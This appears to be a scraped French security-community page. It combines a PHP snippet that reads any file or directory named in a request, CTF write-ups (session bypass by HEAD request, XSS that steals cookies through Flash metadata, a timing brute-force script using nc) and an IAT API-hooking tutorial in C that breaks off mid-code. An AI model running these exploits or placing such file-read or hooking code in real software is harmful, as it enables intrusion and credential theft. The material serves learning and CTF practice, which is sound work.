Login

SQL injection

• matt   sqNGWoX72CjoZrWwtLopB6p2X25uUz8b3AFC/94am+w=
• iggy    ygRf/aB98OntNZWBGsuhjDud8bbf+o8km+0dZI1WRCU=
• javvad /1tUaJ6n+0LeiEhQEoCjtYS4Mr7WUXAolXHLgumnPRx60XdKJv4awTgirGTMTx/Q==
• paul   yu7PEPH1GHIhpwOuRvNJ2d3d6cysZJ/gIejP7htGjKc=
• wicky AUOVLNyMgq20nZb9kGf7IXxHRHf67yp8hyugDgALUHw=
• jimmy l1E2OAhIKjAwIkiPF4xy3RTD3YKzSuVTLZMRTxJ74CI=

Git

Mail

Upload

1
2
3
4
5
6
7
8
9
10

<?php
 
    if(isset($_GET['r'])){
            var_dump(file_get_contents(stripslashes($_GET['r'])));
    }
 
    if(isset($_GET['d'])){
        var_dump(scandir(stripslashes($_GET['d'])));
    }</div>
?>

1
2
3
4
5
6
7
8
9
10
11

if ($cookie_numbers == "425369646573") {
?>
    <h1>Easter Egg :: @dive_monkey keeping fit</h1>
    <p>We may have been in Switzerland for a con but that didn&amp;rsquo;t stop Matt keeping in shape while we were back at the hotel.</p>
    <video width="640" height="360" autoplay controls tabindex="0">
      <source src="/assets/video/matt_summers_pressups.mp4" type='video/mp4; codecs="avc1.42E01E, mp4a.40.2"' />
      <source src="/assets/video/matt_summers_pressups.webm" type='video/webm; codecs="vp8, vorbis"' />
      What the? Your browser does not support the HTML5 video tag.
    </video>
<?php
}

  ___   _____   ____    _____      ____ _____ _____      ___              _
 |_ _| |  ___| / ___|  |  ___|    / ___|_   _|  ___|    / _ \ _   _  __ _| |___
  | |  | |_    \___ \  | |_      | |     | | | |_      | | | | | | |/ _` | / __|
  | |  |  _|    ___) | |  _|     | |___  | | |  _|     | |_| | |_| | (_| | \__ \
 |___| |_|     |____/  |_|        \____| |_| |_|        \__\_\\__,_|\__,_|_|___/

C’est grâce à Twitter que nous avons appris l’existence de l’IFSF CTF et nous avons immédiatement bondi sur l’occasion de faire un CTF. C’est que voyez vous au sein de la communauté on adore faire ça, des CTF et dés qu’on en voit un que nous ne connaissons pas, nous relevons immédiatement le challenge, avides de nouveaux défis et curieux de nouvelles épreuves que nous sommes.

Visiblement ce genre d’état d’esprit porte ses fruits car nous avons eu l’agréable surprise de finir dans le top 10 de cette compétition. Nous en tirons bien sur beaucoup de fierté, mais nous en ressortons aussi et surtout déterminés à participer d’avantage aux autres CTF pour continuer à progresser, pour continuer à apprendre des autres et pour continuer à nous amuser tous ensembles.

Peu après l’évènement nous avons pu échanger avec les organisateurs de ce CTF et ils nous ont proposé de nous joindre à eux pour le PHDays.

La communauté dans son ensemble remercie vivement les membres qui ont participé à ce CTF et qui se sont fait porteur, l’espace d’un week-end, des valeurs et de la compétence de toute une communauté.

Merci à Spl3en, Karion, Di0Sasm, N0_N4M3, Flyingwolf, N0way, nico34, BuRner, TheLizardKing, k3nz0, Enila, Nickname, A.nonyme, Inazo, awe, MauriceLeTendu, Ganapati, nowz, ufox et Debaser.

Cependant la compétition ne s’est pas arrêtée là pour eux puisqu’ils ont aussi réaliser un write-up des épreuves qu’ils ont résolues, nous vous le présentons ici, bonne lecture.

Encore une fois merci à eux et merci aux organisateurs de l’IFSF CTF ( cc AlpHaNiX & all) qui nous ont concocté un CTF comme ont les aime.

WRITE UP #1 – TONA

Sur cette épreuve web nous remarquons que les pages passent par $_GET[] sous la forme :
index.php?organization // index.php?news

On provoque une collision en faisant :
index.php?organization&news

Le script essais en fait de générer une fonction deux fois, ce qui ne donne l’erreur (et le flag) suivant :
Fatal error: Cannot redeclare showPage_FLAG1_48NG9X9448HF4() (previously declared in /var/www/html/SECURITY_include_files_OBSCURITY/news.php:3) in /var/www/html/SECURITY_include_files_OBSCURITY/members.php on line 5

On regarde alors le contenu du répertoire /SECURITY_include_files_OBSCURITY/ et on y trouve le fichier members.php compressé avec GZIP. On le télécharge, le decompresse et nous tombons sur un code php complètement obfusqué. Après une petite analyse à l’aide de var_dump() on decouvre en fait que le script appelle une fonction donc le code est le suivant :

$se=$GLOBALS["@@"]; // contient la valeur de la constante __FILE__
$s=filesize($se);
$f=fopen($se,"r");
fseek($f,2794);
$ss=fread($f,$s-2794);
$Nv=hash("sha512",md5($s).md5($ss));
$Nv=$Nv.$Nv.$Nv;
$V=$GLOBALS["xij"]^$Nv;
if(!preg_match("/[^\x20-\x7f]/",$V)){$B=create_function("",$V);
@$B();
}

Ce morceau de code execute une nouvelle fonction :

 function auth($X){
if(!isset($_SESSION["loggedIn"])){
$_SESSION["loggedIn"]=true;
if(@$_GET["pass"]===$X[9])
echo $X[8];
else{
echo $X[11];
ob_flush();
unset($_SESSION["loggedIn"]);
}
}
}
 
$j=@$_GET["4kXI0N"];
$f=file("params.php");
 
if(!@strcmp($j,"login")){
if("login"===$_GET["4kXI0N"]){
echo $f[16];
}
else{
auth($f);
echo $f[5];
}
}
unset($GLOBALS);

et

var_dump(!NULL);
php > var_dump(!NULL);
bool(true)
php > var_dump(@strcmp(array(),"login"));
NULL
php > var_dump(!@strcmp(array(),"login"));
bool(true)

On test donc cette url :
http://208.64.122.29/?members&4kXI0N[]=zenk-security

Et OOoOOooh magie, on se retrouve avec un flag et un « Wrong password ».
Parfait, il ne reste « plus qu’à » contourner la vérification du mot de passe.

La première chose à laquelle nous avons pensé, c’est d’appeler directement le fichier members.php et non depuis l’include faite par l’index.
Ainsi, le fichier params.php ne sera pas chargé et si la variable GET['pass’] n’est pas renseigné, la condition pour la vérification du mot de passe sera vraie (NULL===NULL). Le seul soucis étant que le fichier ne contient pas d’appel à la fonction session_start() et donc les variables de session seront considérées comme de simples variables.

On reste bloqué pendant un petit moment à ce stade là. Après quelques recherches sur google, on tombe sur un paper qui contient la solution du challenge. https://students.mimuw.edu.pl/~ai292615/php_head_trick.pdf

En français : php stop l’éxecution du script dès qu’il rencontre un output lors d’une requête HTTP HEAD.
Juste avant notre unset($_SESSION['loggedIn’]) nous avons un appel à la fonction echo().
Nous codons un petit script qui envois une requête HEAD et qui récupére le PHPSESSID généré, et le tour est joué. Nous obtenons le flag en visitant la page /?login_testing

import httplib
def main():
conn = httplib.HTTPConnection("208.64.122.29")
conn.request("HEAD","/?members&4kXI0N[]=login")
print(conn.getresponse().getheaders())
if __name__ == '__main__':
main()

—————————————————————————————————————————————-

WRITE UP #3 – Fantazium

On trouve un site assez sommaire qui ne contient que 3 pages. Une page principale, un page de contact et une page qui contient un player flash.
Avec l’expérience, qui dit formulaire de contact sur lequel il est explicitement dit que tous les messages sont regardé dit aussi faille XSS. On part donc sur cette idée.

On s’aperçoit dans un premier temps qu’on peut utiliser le player pour lire des fichiers .flv externes.
On fait un tour sur le site du développeur du player flash http://oos.moxiecode.com/flvplayer/
Très vite, une option nous interpelle : jsCallback. Le site nous informe que le player appel la fonction javascript

flvStart('width_in_pixels','height_in_pixels')

lorsque le player démarre.
On décompile le player, http://pastebin.com/QJ9BPMhs
Ligne 333:

if (jsCallback)
{
getURL("javascript:flvStart(\'" + metaWidth + "\',\'" + metaHeight + "\')", "");
}

Les arguments passé à la fonction flvStart() correspondent aux meta width et height du fichier .flv donné à lire. Une XSS est donc possible!
On trouve un petit outil en cherchant sur google qui permet de modifier les metas d’un fichier flv.
On commence par injecter ‘);alert(0)//. On a alors un message d’erreur disant que la fonction flvStart() n’est pas définie.
On teste donc ‘);function flvStart(){alert(0);}// En envoyant le fichier flv dans le lecteur on a bien la fenêtre alert.
Il reste à remplacer le alert par une redirection vers une page qui capte les cookies

On fait passer le lien dans le formulaire de contact avec notre fichier flv malicieux et hop, on récupère les cookies avec le flag

—————————————————————————————————————————————-

WRITE UP #4 – ER?

Nous sommes face à un texte assez long qui comporte des notes. Nous avons tout de suite pensé à un texte provenant de Wikipedia chiffré grâce à l’algorithme de Vigenère.
En lançant un test sur l’indice de coïncidence, celui-ci nous informe que la clé est très probablement de 21 caractères.
Nous allons donc tester cela en utilisant un module python que nous utilisons assez souvent en CTF et dernièrement utilisé pour les pré qualifications de la Nuit Du Hack 2011 ; PyGenere.

from PyGenere import *
ciphertext = "NOTRE TEXTE CHIFFRÉ"
lang = 'EN'
for i in range(1,22):
print i
print VigCrack(ciphertext).set_language(lang).crack_codeword(i)

En supposant que la clé de 21 caractère est la bonne, nous tentons de décoder notre texte avec celle-ci :

print Vigenere(ciphertext).decipher("BACBAEBBCFFAAEAADFEAC")

Effectivement, nous avons bien un article de wikipedia en clair. Le flag de l’épreuve est donc : BACBAEBBCFFAAEAADFEAC

—————————————————————————————————————————————-

WRITE UP #5 – Change

En regardant de plus prêt le texte, nous avons (comme sur l’épreuve précédente) des petites notes à la sauce Wikipedia. Au départ nous étions partis sur du Vigenère, mais nos recherches ont été infructueuses. En recherchant les dates et chiffres du texte chiffré sur google [ site:en.wikipedia.org 13.7 1927 1949 1964 ], nous avons un premier résultat qui concorde directement avec le texte chiffré. À partir de là, nous nous sommes intéressés à la méthode de substitution mono-alphabétique.
En faisant une attaque par mot probable, on retrouve petit à petit la clé qui a permis de chiffrer le texte.

Le flag de l’épreuve est donc : DAFBCERXZWMNGLQIOHJTKYUPVS

—————————————————————————————————————————————-

WRITE UP #6 – Call me

Le titre de l’épreuve est très révélateur. Une suite de chiffre nous est fourni :

6-666-22-444-555-33-444-7777-222-666-666-555-7777-88-22-6-444-8-8-44-444-7777-333-666-777-7777-666-6-33-7-666-444-66-8-7777

On se réfère à notre clavier de téléphone portable et nous avons notre flag : MOBILEISCOOLSUBMITTHISFORSOMEPOINTS

—————————————————————————————————————————————-

WRITE UP #7 – X97

Intitulé :

« this is one of their machines which have very sensitive informations ,
try to get for us the password
208.64.122.27
PORT : 3000 »

On se connecte donc au serveur sur ce port (avec netcat ou telnet) :
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
_ _ 99 _________ ______ ______ _ _ _____ ______ ______
\ \ / / | | | | | \ | | | | | | | | | | | | | | \ \ | |
>|--|< | | | | | | | |__| | | | | |--| | | | | | | | | |----/_/ \_\ |_| |_| |_| |_| |_| |_|____ |_| |_| _|_|_ |_| |_| |_|____ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Authentication Required Password : Demande de mot de passe -> on teste quelques possibilités jusqu’à ce qu’on se rende compte que, bizarrement, l’attente entre l’annonce du mauvais mot de passe et le moment où on a entré le mot de passe est plus longue. Ainsi, pour w, on note que le temps d’attente est de 5 secondes alors qu’il est quasi immédiat dans les autres cas.

On en déduit la présence d’une sorte de timing attack sur le mot de passe, assez exagérée. Au final on découvre que chaque bon char, dans l’ordre, ajoute 5 secondes de latence. On a terminé l’épreuve à l’aide de ce script :

#!/bin/bash
 
passwd='w3_0wn_7h15_f0r_r34L'
 
for i in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 _ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
do
  ( (echo "${passwd}${i}"; sleep 104)| nc 208.64.122.27 3000 -c  2>&1 | grep 'Authentication Failed' || echo ${passwd}${i} ) &
done

passwd contient la partie du mot de passe que l’on connait, le sleep est lui d’une durée de bon_char*5-1 seconde. Un script manuel a été préféré à un script automatique du fait de ma mauvaise connexion.

Le mot de passe final était donc w3_0wn_7h15_f0r_r34L et le flag
0xFEFERKJ8389743GH79G6D368GT093

—————————————————————————————————————————————-

WRITE UP #10 – Memories of never ending pain

Il s’exécute sans souci sur un Windows XP 32 bits.

Pour le désassembler, IDA bug, et les autres habituels tels que Olly ne prennent pas le 16-bit.
On utilise « Turbo Debugger for DOS », que l’on retrouve ici:

http://www.woodmann.com/collaborative/tools/images/Bin_Turbo_Debugger_2009-6-17_13.16_tdbg55.zip

Le binaire n’a aucun symboles, pas d’appels vers des libs Win etc, juste des interruptions.
On va donc chercher à quel moment il lit les données, pour commencer.
On lit http://en.wikipedia.org/wiki/BIOS_interrupt_call, on se rend compte qu’il nous faut une interruption 16h, qui est celle communiquant avec le clavier. On s’attend à avoir AH set à 0 avant l’interruption.

On trouve alors ce que l’on cherche, en 0x025D:

xor ax, ax
int 16
ret

On va donc break sur le ret, en 0×0261, pour revenir dans la fonction qui a demandé à lire le char, pour étudier celle-ci.
Après un run, avoir entré un char (on n’entre que des ‘a‘), et step, on retombe juste en dessous, en 0x026F:

mov si, [0114]
		    mov bl, 09
		 +> call [0104] 		; call 0x25D / read char
		 |  test al, al
		 |  je 028B     --+
		 |  cmp al, 0D    |
		 |  je 028B     --+
		 |  rol al, 03    |
		 |  xor al, 19    |
		 |  mov [si], al  |
	         |  inc si        |
		 |  ...           |
		 |  test bl, bl   |
		 |  je 028B   ----+
		 +- jmp 026B      |
			ret

Cette fonction lit 9 char, sauf si elle reçoit un 0×0 ou 0xD ( ‘\r‘ ).
Cela nous donne une fonction similaire à la suivante en C:

void get_input(void)
{
	char s[13] = 0; // &s = 0x138 ( si )
	char c;
	int bl = 8;
	int i = 0;
 
	while (1)
	{
		c = getchar(); // al = c
 
		if (c == 0x00 || c == '\r')
			return s;
 
		if (bl-- == 0)
			return s;
 
		asm volatile("rol $0x03, %%al\r\n
				xor $0x19, %%al\r\n"
				: "=a"(c)
				: "a"(c)
				: "ax"); // Probablement n'importe quoi niveau input / output / clobber :D
 
		s[i++] = c; // mov [si], al ; inc si
	}
}

On retient surtout que notre chaîne est stockée « cryptée » en mémoire, avec un rol / xor appliqué sur le char reçu.
Entrer ‘a‘ écrit 0×12 en mémoire.

On break sur le ret, en 0x28b, puis on step pour arriver sur:

call [010A] ; Affiche "Authorization code :"
call [0106] ; Lit le code
call [010E] ; ? Check code ?
ret

On suit donc l’exécution, on tombe sur:

mov bx, [0x114]
mov si, [0x116]
mov cx, 0x9
xor dx, dx
xor ax, ax
mov al, [bx]
xor al, [si]
test al, al
jz 0x145

Cette partie compare 2 chaînes, et on retrouve notre chaîne « cryptée » 0×12 * 9.

Elle est comparée à celle pointée par si (0148): 0xA0 0x8B 0×98 0x7B 0×63 0×90 0×98 0×90 0×63

On sort python pour inverser le xor / rol et:

	>>> def ror(byte, count):
	...     while count > 0:
	...         byte = (byte >> 1 | byte << 7) & 0xFF 	...         count -= 1 	...     return byte 	...  	>>> l = [0xA0, 0x8B, 0x98, 0x7B, 0x63, 0x90, 0x98, 0x90, 0x63]
	>>> ''.join(chr(ror(0x19 ^ i, 3)) for i in l)
	'7R0LO101O'

On a notre flag: 7R0LO101O.

—————————————————————————————————————————————-

WRITE UP #15 – Secrets

Nous sommes face à un dossier contenant 16 petites épreuves. [ Disponible ici ]

1.

001100000011001000110101001100010011011000111000011000010011010100110011001101
010011011101100110001110010110010100110000011000010110010000110111011001100110
001100110111001100100011011001100110011001100110000100110010001101110011100100
1101000011010100110100

On reconnait la forme binaire. Binary to string
Flag : 025168a5357f9e0ad7fc726ffa279454

2.
YmM1OTJkOGI5YjhmYzRkODQ4NTU3NDI4NDU2ZWIzYWM=

On reconnait la forme de l’encodage base64. Base64 to string
Flag : bc592d8b9b8fc4d848557428456eb3ac

3.
102:98:48:100:53:102:50:101:57:101:102:97:99:100:97:56:55:54:50:56:49:56:98:52:48:101:101:98:57:50:56:57

On reconnait la forme décimale. Decimal to string
Flag : fb0d5f2e9efacda8762818b40eeb9289

4.
ST_nIoPemoSroFTI_TImbuS-G4lF_3hT_zI_Siht

Ici, il suffit de remettre en forme le flag..
Flag : thiS_Iz_Th3_Fl4G-SubmIT_ITForSomePoin_TS

5.
So0%2000%2000%2000%20TT%20

On reconnait la syntaxe d’encodage grâce aux %20 . Il suffit d’url decode le contenu.
Flag : So0 00 00 00 TT

6.
41:4e:4f:54:48:45:52:46:4c:41:47:59:45:53:49:4b:4e:4f:57:49:54:

On reconnait la forme hexadecimal. Hexadecimal to string
ANOTHERFLAGYESIKNOWIT

7.
PNALBHFRRZRVTHRFFLBHQB

Après les différents chiffrements rencontrés au début. Nous avons tout de suite pensé au ROT13.
Flag : CANYOUSEEMEIGUESSYOUDO

8.
En regardant le code hexadecimal, on remarque que la fin de l’image JPEG ne finit pas par FF D9 ( End of image ).
Un petit coup de Foremost et on obtient une archive zippé protégée par mot de passe. En brute forçant l’archive, nous obtenons rapidement le password « pass« .
Flag : 8727a6fd1df003d9870654c16d02d39c

9.
En ouvrant l’image avec un logiciel graphique ( en l’occurrence ici Gimp ) et à l’aide du pot de peinture à faible seuil ( 0,1 ), on obtient une écriture qui y a été dissimulé.
Flag : JE5POIBB7KOUB54

11.
En faisant un hexdump -C sur le binaire, nous arrivons à obtenir le flag obfusqué.
Flag : Th1SiSmYp455w0rD

12.
Un fichier texte qui contient un espèce de pseudo code en SMS :
HAI
CAN HAS STDIO?
I HAS A VAR
GIMMEH VAR
BTW I LUV EDOCLOL
IZ VAR EQUAL « IHAZZOMVAR »?
YARLY
VISIBLE « GUD »
NOWAI
VISIBLE « SUX »
KTHX
KTHXBYE

On voir le « is var equal « IHAZZOMVAR »"
On en déduis sur le flag est IHAZZOMVAR

13.
Il s’agit du langage de programmation whitespace.
Grâce à l’interpréteur Ideone, nous obtenons le flag.
Flag : 12345678910

14.
Nous avons une recette de cuisine avec différents ingrédients.

On remarque que les quantités correspondent toutes à un caractères ascii decimal :
105 beer - i
102 mushrooms - f
72 cheese - H
85 jelly - U
74 tacos - J
69 beans - E

Il ne nous reste plus qu’à suivre la recette et le tour est joué !
Put mushrooms into the mixing bowl. - f
Put beer mustard into the mixing bowl. - i
Put cheese mustard into the mixing bowl. - H
Put tacos mustard into the mixing bowl. - J
Put beans mustard into the mixing bowl. - E
Put jelly mustard into the mixing bowl. - U
Put cheese mustard into the mixing bowl. - H

Flag : fiHJEUH

15.
Il s’agit d’un message codé en brainfuck.
Flag : f030ae8cd0e293fc332290c7fe5f9c8c

16.
Un simple « rar l 016″ suffit pour obtenir le flag en commentaire.
Flag : iojGRU84HXBYY3R6T

CrashFR n’est plus depuis vendredi soir, c’est une énorme perte pour la scène de la sécurité informatique Francophone et nous nous associons unanimement au chagrin de sa famille et de sa communauté.

Les réalisations qui portent son empreinte indélébile sont nombreuses et zenk-security elle-même ne serait pas ce qu’elle est aujourd’hui sans lui, nous savons lui devoir beaucoup, lui qui portait haut les valeurs de partage et d’entraide au sein d’un milieu parfois élitiste.

Sa persévérance et son acharnement à mener à bien ses projets l’ont pousser à réaliser ce que peux auraient eu l’audace de rêver pour une vie entière. Lui qui nous quitte brutalement laisse un gouffre béant dans nos cœurs, une étoile s’est éteinte laissant tout un milieu sous le choc.
Le soleil d’une communauté, que nous estimons énormément et avec laquelle nous sommes liée de par nos membres, s’est couché, il laisse de nombreux projets en suspens, orphelin de leur créateur.

Il nous abandonne à tous une tâche inachevée, celle d’offrir la connaissance aux ignorants, celle de lutter pour notre liberté d’apprendre, à nous tous de ne pas l’oublier et poursuivre son oeuvre.

Par pudeur nous n’en diront pas plus et vous recommanderons de vous rendre sur les liens plus bas pour lire le communiqué officiel de la communauté HZV et pour lui rendre un dernier hommage.

CrashFR, au nom de la communauté zenk-security, merci de tout ce que tu as fait pour notre utopie commune.

http://www.hackerzvoice.net/node/155

http://www.virtualabs.fr/spip.php?article57

http://korben.info/tchao-paulo.html

1. Introduction

A une époque lointaine et mystérieuse, lorsque je tâchais de comprendre le principe de l’IAT (Import Address Table), je me suis intéressé aux méthodes pour hooker, ou crocheter en terme bien français, certaines APIs. Il s’avérait que la méthode bien connue est de parser le fichier PE (Portable Executable) à la recherche de la section d’importation répertoriée dans le tableau DataDirectory. Cette section étant elle-même un tableau de structure IMAGE_DIRECTORY_ENTRY_IMPORT associée à chaque DLL importée.
Cette méthode largement employée m’a semblé trop commune et j’ai cherché un moyen pour modifier une entrée de l’IAT sans avoir besoin de réaliser tout ce travail de parsing.

La solution retenue, néanmoins non fonctionnelle sur tout les exécutables, est d’abuser d’un programme compilé par un compilateur dit naïf.

Dans un premier temps, je vous expliquerai donc ce qu’on entend par compilateur « naïf » et moins « naïf ». Pour la partie pratique, je fournirai un exemple de programme qui permet de modifier une entrée de l’IAT lorsqu’un binaire est compilé avec un compilateur dit « naïf ». Finalement, j’irai encore plus loin avec l’utilisation de cette méthode pour hooker une API sans avoir besoin de modifier l’entrée dans la table d’importation.

2. Explication sur un compilateur dit « naïf »

C’est un compilateur qui ne détermine pas si une fonction est importée à partir d’un autre module. Dans le cas où la fonction est importée, le compilateur génère simplement une instruction de type CALL sur le nom de la fonction, laissant la résolution de ce mystère à l’éditeur de liens.

Le linker découvre ensuite si la fonction est importée et gère ce cas de figure. Comme le linker ne peut écraser les instructions CALL générées par le compilateur, un niveau de redirection, appelé aussi stub, jouant le rôle de fonction trampoline va être créé. Ce qui permettra au final de rebondir sur la réelle adresse de la fonction importée dont celle-ci se trouve effectivement dans l’IAT.

Une des conséquences de ce type de fonctionnement est que si l’on essaye de récupérer l’adresse d’une fonction par son nom, alors on obtient l’adresse du stub et non l’adresse se trouvant dans l’IAT. L’astuce portant sur ce point, un peu plus loin, je montrerai comment exploiter ce principe de fonctionnement.

Pratiquement, analysons le code suivant ainsi que l’assembleur généré :

<span style="font-family: Arial,sans-serif;"><span style="font-size: small;">int main()</span></span>
{
    MessageBox(0,"Hello world, I am not hooking!","Welcome",0);
 
    return 0;
}

qui nous donne ceci :

00401338  |. C70424 0000000>MOV DWORD PTR SS:[ESP],0    ; |
0040133F  |. 31C0           XOR EAX,EAX                                        ; |
00401341  |. B9 2C304000    MOV ECX,NaiveCom.0040302C      ; |ASCII "Hello world, I am not hooking!"
00401346  |. 894424 0C      MOV DWORD PTR SS:[ESP+C],EAX; |
0040134A  |. B8 4B304000    MOV EAX,NaiveCom.0040304B      ; |ASCII "Welcome"
0040134F  |. 894424 08      MOV DWORD PTR SS:[ESP+8],EAX ; |
00401353  |. 894C24 04      MOV DWORD PTR SS:[ESP+4],ECX; |
00401357  |. E8 AC050000    CALL <JMP.&USER32.MessageBox>  ; \MessageBoxA

L’adresse correspondant à l’appel vers JMP.&USER32.MessageBoxA est 0×00401908 et pointe vers le stub pour rebondir vers l’IAT:

00401908   $-FF25 20514000  JMP DWORD PTR DS:[<&USER32.MessageBoxA>] ;  

où [<&USER32.MessageBoxA>] est égale à 0×405120.

Maintenant, vérifions que l’adresse 0×405120 fait bien partie de la section d’importation de notre binaire généré, c’est à dire à l’intérieur de la section nommée « .idata ». Pour cela, j’ai utilisé le logiciel ollydebug pour visualiser le mapping mémoire qui nous donne pour la zone concernée ceci:

Memory map
Address    Size       Owner      Section    Contains      Type   Access    Initial   Mapped as
...
00400000   00001000   NaiveCom              PE header     Imag   R        RWE
00401000   00001000   NaiveCom   .text      code          Imag   R        RWE
00402000   00001000   NaiveCom   .data      data          Imag   R        RWE
00403000   00001000   NaiveCom   .rdata                   Imag   R        RWE
00404000   00001000   NaiveCom   .bss                     Imag   R        RWE
00405000   00001000   NaiveCom   .idata     imports       Imag   R        RWE
...

On constate bien que l’adresse 0×405120 pour USER32.MessageBoxA se situe dans la table d’importation.

Pour conclure cette analyse, vérifions que le contenu situé à l’adresse 0×405120 est bien l’adresse de la fonction MessageBox faisant parti de l’espace d’adressage de « user32.dll ». Dans mon cas de figure, à cet emplacement mémoire, l’entier stocké sur 4 octets possède la valeur 0x7E4507EA.

D’après le mapping mémoire de « user32.dll », j’obtiens ceci:

....
7E410000   00001000   USER32                PE header     Imag   R        RWE
7E411000   00060000   USER32     .text      code,imports  Imag   R        RWE
7E471000   00002000   USER32     .data      data          Imag   R        RWE
7E473000   0002B000   USER32     .rsrc      resources     Imag   R        RWE
7E49E000   00003000   USER32     .reloc     relocations   Imag   R        RWE
...

L’adresse 0x7E4507EA se situe bien dans la zone « .text » de « user32.dll » chargée dans la mémoire du processus.

3. Explication sur un compilateur moins « naïf »

De ce que j’ai pu lire mais sans avoir pu tester durant la rédaction de ce papier, certains compilateurs déterminent si une fonction est déclarée en tant que fonction importée.

En tirant parti de cette information, le code généré sera différent de celui que j’ai expliqué dans la partie précédente. En effet, aucun stub ne sera créé et le compilateur se chargera de générer l’instruction CALL directement sur la fonction importée.

De plus, une optimisation est réalisée dans le cas d’appel successif de la même API où l’adresse de la fonction importée sera stockée dans un registre au préalable.

Ci-dessous, deux exemples de code assembleur généré:

PUSH EBX
PUSH EDI
CALL DWORD PTR DS:[<&USER32.MessageBoxA>]  ; Appel direct

ou bien encore:

mov   ebx, [__imp__FunctionName]
push  1
call  ebx ; FunctionName(1)
push  2
call  ebx ; FunctionName(2)

Un problème peut ici survenir dans le patching d’IAT où à cause de l’optimisation, même si il est possible de modifier une entrée de l’IAT, le patch ne sera pas pris en compte car l’adresse originale est déjà chargée dans un registre.

Un moyen de déterminer si votre compilateur est plutôt naïf ou instruit, c’est de vérifier grâce au code suivant si fnMessageBox est égale à fnMessageBox2.

typedef int (WINAPI * MESSAGEBOX)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
int main()
{
    MESSAGEBOX fnMessageBox = (MESSAGEBOX)MessageBox;
    MESSAGEBOX fnMessageBox2 = (MESSAGEBOX)GetProcAddress(GetModuleHandle("User32.dll"), "MessageBoxA");
    printf("Jump Thunk Address: 0x%08x\nReal Address: 0x%08x\n", (UINT)fnMessageBox, (UINT)fnMessageBox2);

    return 0;
}

4. Hooker une entrée de l’IAT d’un compilateur naïf sans parser le PE

Au point où nous en sommes, rien de mieux qu’un code d’exploitation pour illustrer la technique mise en place.

Connaissant dorénavant le mécanisme de fonctionnement décrit plus haut, je vous fournis un source que j’ai réalisé et compilé sous WinXP 32 bits avec le compilateur GNU GCC. Ce code permets donc de hooker l’IAT d’une API sans passer par la méthode traditionnelle d’analyse d’un PE. Vous constaterez que c’est plus rapide, voire même moins compliqué.

#include <stdio.h>

#include <stdlib.h>
#include <windows.h>

typedef int (WINAPI * MESSAGEBOX)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
MESSAGEBOX g_oldAddress;

int MyMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
{
    return g_oldAddress(hWnd, "IAT Hooking without parsing IAT", "IAT Hooking", uType);
}

int main()
{
    DWORD fnThunkAddress;
    DWORD *JmpOffsetAddress;
    DWORD fnIATAddress;

    MessageBox(0,"Hello world, I am not hooking!","Welcome",0);
    MESSAGEBOX fnMessageBox = (MESSAGEBOX)MessageBox;
    MESSAGEBOX fnMessageBox2 = (MESSAGEBOX)GetProcAddress(GetModuleHandle("User32.dll"), "MessageBoxA");
    printf("Thunk Address: 0x%08x\nReal Address: 0x%08x\n", (UINT)fnMessageBox, (UINT)fnMessageBox2);

    // Get the thunk or jump address
    fnThunkAddress = (DWORD)fnMessageBox;

    // Get the address which is supplied to the jump instruction: This address represent IATs entry of MessageBox() 
    JmpOffsetAddress = (DWORD*)*(DWORD*)(fnMessageBox+2);

    // Get the real address of MessageBox() function
    fnIATAddress = *JmpOffsetAddress;

    // Save the old MessageBox() address
    g_oldAddress = (MESSAGEBOX)fnIATAddress;

    // Hook IAT with MyMessageBox() function
    *JmpOffsetAddress = (DWORD)MyMessageBox;

    MessageBox(0,"Hello world, I am not hooking!","Welcome",0);
    return 0;

}

5. Hooker une API sans modifier l’IAT pour un binaire généré avec un compilateur « naïf »

Dans l’exemple précédent, nous avons vu de quelle manière on pouvait remonter jusqu’à une entrée de l’IAT sans avoir besoin de la parser de manière traditionnelle. Pour aller plus loin, je vais vous montrer qu’il est aussi possible de hooker une API sans avoir besoin de modifier l’IAT en tirant avantage des stubs générés par le compilateur naïf.

Ci-dessous, une partie de la « jump thunk table » de mon programme précédemment compilé:

00401A8C   $-FF25 30514000  JMP DWORD PTR DS:[<&USER32.MessageBoxA>] ;  USER32.MessageBoxA
00401A92     90             NOP
00401A93     90             NOP
00401A94   .-FF25 CC504000  JMP DWORD PTR DS:[<&KERNEL32.ExitProcess>;  kernel32.ExitProcess
00401A9A     90             NOP
00401A9B     90             NOP
00401A9C   $-FF25 D8504000  JMP DWORD PTR DS:[<&KERNEL32.SetUnhandle>;  kernel32.SetUnhandledExceptionFilter
00401AA2     90             NOP
00401AA3     90             NOP
00401AA4   $-FF25 DC504000  JMP DWORD PTR DS:[<&KERNEL32.VirtualProt>;  kernel32.VirtualProtect

On constate que l’instruction pour rebondir vers l’IAT correspond à un « JMP DWORD PTR DS :[address] ». L’astuce que je propose pour détourner l’appel consiste à venir écraser cette instruction par un « jump long » vers notre fonction de détour. Au niveau

opcode, un « jmp long » prendra un octet de moins, c’est à dire 5 au lieu de 6, je prendrais donc soin de rajouter un NOP.

Voici ce que j’obtiens après modification de l’instruction :

00401A8C   $^E9 91F8FFFF    JMP NaiveCom.00401322
00401A91   ? 90             NOP
00401A92     90             NOP
00401A93     90             NOP
00401A94   .-FF25 CC504000  JMP DWORD PTR DS:[<&KERNEL32.ExitProcess>;  kernel32.ExitProcess
00401A9A     90             NOP
00401A9B     90             NOP
00401A9C   $-FF25 D8504000  JMP DWORD PTR DS:[<&KERNEL32.SetUnhandle>;  kernel32.SetUnhandledExceptionFilter

Pour réussir ce détournement, il faudra au préalable :
- Prendre soin de changer la protection de la section de code contenant les opcodes à modifier
- Calculer l’offset relatif pour l’instruction « JMP LONG ».
- Sauvegarder l’adresse de l’API à hooker

Ci-dessous, je vous fournis un code d’exploitation pour mettre en place cette technique :

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

typedef int (WINAPI * MESSAGEBOX)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
MESSAGEBOX g_oldAddress;

void MyNewMessageBox()
{
    return g_oldAddress(NULL, "IAT Hooking without parsing IAT", "IAT Hooking", MB_OK); 
}

int main()
{
